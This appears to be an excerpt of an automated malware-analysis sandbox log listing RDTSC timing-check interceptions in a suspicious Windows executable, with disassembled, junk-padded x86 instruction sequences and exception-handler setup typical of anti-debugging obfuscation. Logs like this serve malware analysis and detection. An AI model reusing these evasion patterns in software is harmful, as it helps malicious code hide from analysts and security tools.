Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C63A2C second address: C63AA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F0550D663C8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 xor dword ptr [ebp+122D2F19h], edi 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F0550D663C8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 call 00007F0550D663CCh 0x0000004b sbb di, 1D5Ch 0x00000050 pop edi 0x00000051 push 00000000h 0x00000053 mov dword ptr [ebp+122D1ED1h], edx 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e push edx 0x0000005f pop edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C63AA3 second address: C63ABB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6555D second address: C655DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F0550D663C8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F0550D663C8h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e mov esi, dword ptr [ebp+122D3143h] 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push ebx 0x00000049 call 00007F0550D663C8h 0x0000004e pop ebx 0x0000004f mov dword ptr [esp+04h], ebx 0x00000053 add dword ptr [esp+04h], 0000001Ah 0x0000005b inc ebx 0x0000005c push ebx 0x0000005d ret 0x0000005e pop ebx 0x0000005f ret 0x00000060 push eax 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 ja 00007F0550D663C6h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C655DA second address: C655F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C660FB second address: C66100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C66100 second address: C66165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F0550733D06h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov esi, edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F0550733D08h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f sub dword ptr [ebp+1245BF8Eh], ecx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007F0550733D08h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 mov si, di 0x00000054 xchg eax, ebx 0x00000055 push ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C66165 second address: C66169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C66BD0 second address: C66BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C676BF second address: C676C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C69136 second address: C69150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F0550733D06h 0x0000000b jng 00007F0550733D06h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push ecx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C69150 second address: C69175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F0550D663D7h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6972B second address: C6976F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a sub dword ptr [ebp+122D2A86h], eax 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F0550733D08h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D3A85h] 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6976F second address: C69775 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C69775 second address: C6977A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6977A second address: C69780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6A24C second address: C6A251 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6A251 second address: C6A262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F0550D663C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6E8A1 second address: C6E906 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D39A9h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F0550733D08h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f jp 00007F0550733D0Ch 0x00000035 sub dword ptr [ebp+122D2C9Fh], edx 0x0000003b mov edi, esi 0x0000003d push 00000000h 0x0000003f clc 0x00000040 push eax 0x00000041 jbe 00007F0550733D10h 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6F969 second address: C6F96E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6F96E second address: C6F9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F0550733D08h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F0550733D08h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Dh 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 mov edi, dword ptr [ebp+122D1CDAh] 0x00000048 sbb bl, FFFFFFB3h 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6F9D6 second address: C6F9DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6F9DC second address: C6F9E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6F9E2 second address: C6F9E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C70B71 second address: C70C1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F0550733D08h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 call 00007F0550733D18h 0x0000002b jmp 00007F0550733D10h 0x00000030 pop edi 0x00000031 push 00000000h 0x00000033 movzx ebx, dx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F0550733D08h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 jmp 00007F0550733D14h 0x0000005b push edx 0x0000005c pop edx 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C71B5E second address: C71B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C73BDE second address: C73BE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C73BE4 second address: C73BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C73BEB second address: C73C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D3931h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F0550733D08h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D26ABh], ecx 0x00000032 mov ebx, dword ptr [ebp+122D392Dh] 0x00000038 push 00000000h 0x0000003a clc 0x0000003b push eax 0x0000003c push edi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C73C37 second address: C73C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C75AFD second address: C75B97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F0550733D08h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jng 00007F0550733D07h 0x0000002a cld 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F0550733D08h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D2681h], edi 0x0000004d push 00000000h 0x0000004f mov ebx, dword ptr [ebp+122D1EB1h] 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 jo 00007F0550733D1Bh 0x0000005d jmp 00007F0550733D15h 0x00000062 pushad 0x00000063 jnc 00007F0550733D06h 0x00000069 jl 00007F0550733D06h 0x0000006f popad 0x00000070 popad 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 ja 00007F0550733D06h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C75B97 second address: C75B9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C75B9D second address: C75BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550733D12h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C77BD1 second address: C77BE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007F0550D663CEh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6EA3E second address: C6EABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 nop 0x00000007 jmp 00007F0550733D15h 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F0550733D08h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d call 00007F0550733D0Bh 0x00000032 mov ebx, esi 0x00000034 pop ebx 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov ebx, dword ptr [ebp+122D3A75h] 0x00000042 mov eax, dword ptr [ebp+122D017Dh] 0x00000048 mov dword ptr [ebp+122D22ECh], eax 0x0000004e push FFFFFFFFh 0x00000050 mov ebx, dword ptr [ebp+122D3751h] 0x00000056 push eax 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a jng 00007F0550733D06h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C70D8C second address: C70D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C72D92 second address: C72D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C73D1D second address: C73D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550D663D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C74D22 second address: C74D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C75CC8 second address: C75CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C72D98 second address: C72DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0550733D0Ch 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C73D33 second address: C73DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jne 00007F0550D663E7h 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D2C95h], eax 0x00000019 push dword ptr fs:[00000000h] 0x00000020 jp 00007F0550D663CCh 0x00000026 mov ebx, dword ptr [ebp+122D1E71h] 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 mov ebx, dword ptr [ebp+122D2E99h] 0x00000039 mov eax, dword ptr [ebp+122D0105h] 0x0000003f push 00000000h 0x00000041 push ebp 0x00000042 call 00007F0550D663C8h 0x00000047 pop ebp 0x00000048 mov dword ptr [esp+04h], ebp 0x0000004c add dword ptr [esp+04h], 00000018h 0x00000054 inc ebp 0x00000055 push ebp 0x00000056 ret 0x00000057 pop ebp 0x00000058 ret 0x00000059 mov ebx, 4E2D9D37h 0x0000005e push FFFFFFFFh 0x00000060 push 00000000h 0x00000062 push esi 0x00000063 call 00007F0550D663C8h 0x00000068 pop esi 0x00000069 mov dword ptr [esp+04h], esi 0x0000006d add dword ptr [esp+04h], 00000019h 0x00000075 inc esi 0x00000076 push esi 0x00000077 ret 0x00000078 pop esi 0x00000079 ret 0x0000007a mov ebx, dword ptr [ebp+122D3905h] 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jno 00007F0550D663CCh 0x00000089 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C74D27 second address: C74DA4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0550733D08h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f call 00007F0550733D0Fh 0x00000014 mov dword ptr [ebp+1246642Ch], eax 0x0000001a pop ebx 0x0000001b push dword ptr fs:[00000000h] 0x00000022 jmp 00007F0550733D0Ah 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e stc 0x0000002f mov eax, dword ptr [ebp+122D14F5h] 0x00000035 mov bx, A61Ch 0x00000039 push FFFFFFFFh 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F0550733D08h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov ebx, dword ptr [ebp+122D2B53h] 0x0000005b sub edi, 31AFC3F3h 0x00000061 nop 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push edi 0x00000066 pop edi 0x00000067 pushad 0x00000068 popad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C72DB0 second address: C72DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C73DFF second address: C73E05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C74DA4 second address: C74DCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F0550D663C6h 0x00000009 jmp 00007F0550D663D0h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jng 00007F0550D663C6h 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C73E05 second address: C73E09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C74DCB second address: C74DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C79D72 second address: C79D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7ADBA second address: C7ADC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0550D663C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7ADC4 second address: C7ADD6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0550733D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7ADD6 second address: C7ADDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7ADDA second address: C7AE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F0550733D14h 0x0000000f movzx eax, bx 0x00000012 popad 0x00000013 pop ebx 0x00000014 push 00000000h 0x00000016 xor dword ptr [ebp+1247CF85h], esi 0x0000001c movzx ebx, bx 0x0000001f push 00000000h 0x00000021 xor dword ptr [ebp+122D2AACh], edi 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007F0550733D15h 0x00000030 js 00007F0550733D06h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7AE30 second address: C7AE36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7BF2C second address: C7BFAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F0550733D06h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F0550733D08h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b jl 00007F0550733D0Ch 0x00000031 and edi, dword ptr [ebp+122D2F2Bh] 0x00000037 clc 0x00000038 mov di, dx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F0550733D08h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 add dword ptr [ebp+122D2ED1h], ecx 0x0000005d push 00000000h 0x0000005f sub dword ptr [ebp+122D26ABh], ecx 0x00000065 xchg eax, esi 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F0550733D0Fh 0x0000006f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7BFAD second address: C7BFB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7BFB3 second address: C7BFB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7BFB9 second address: C7BFBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C7DE56 second address: C7DE5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
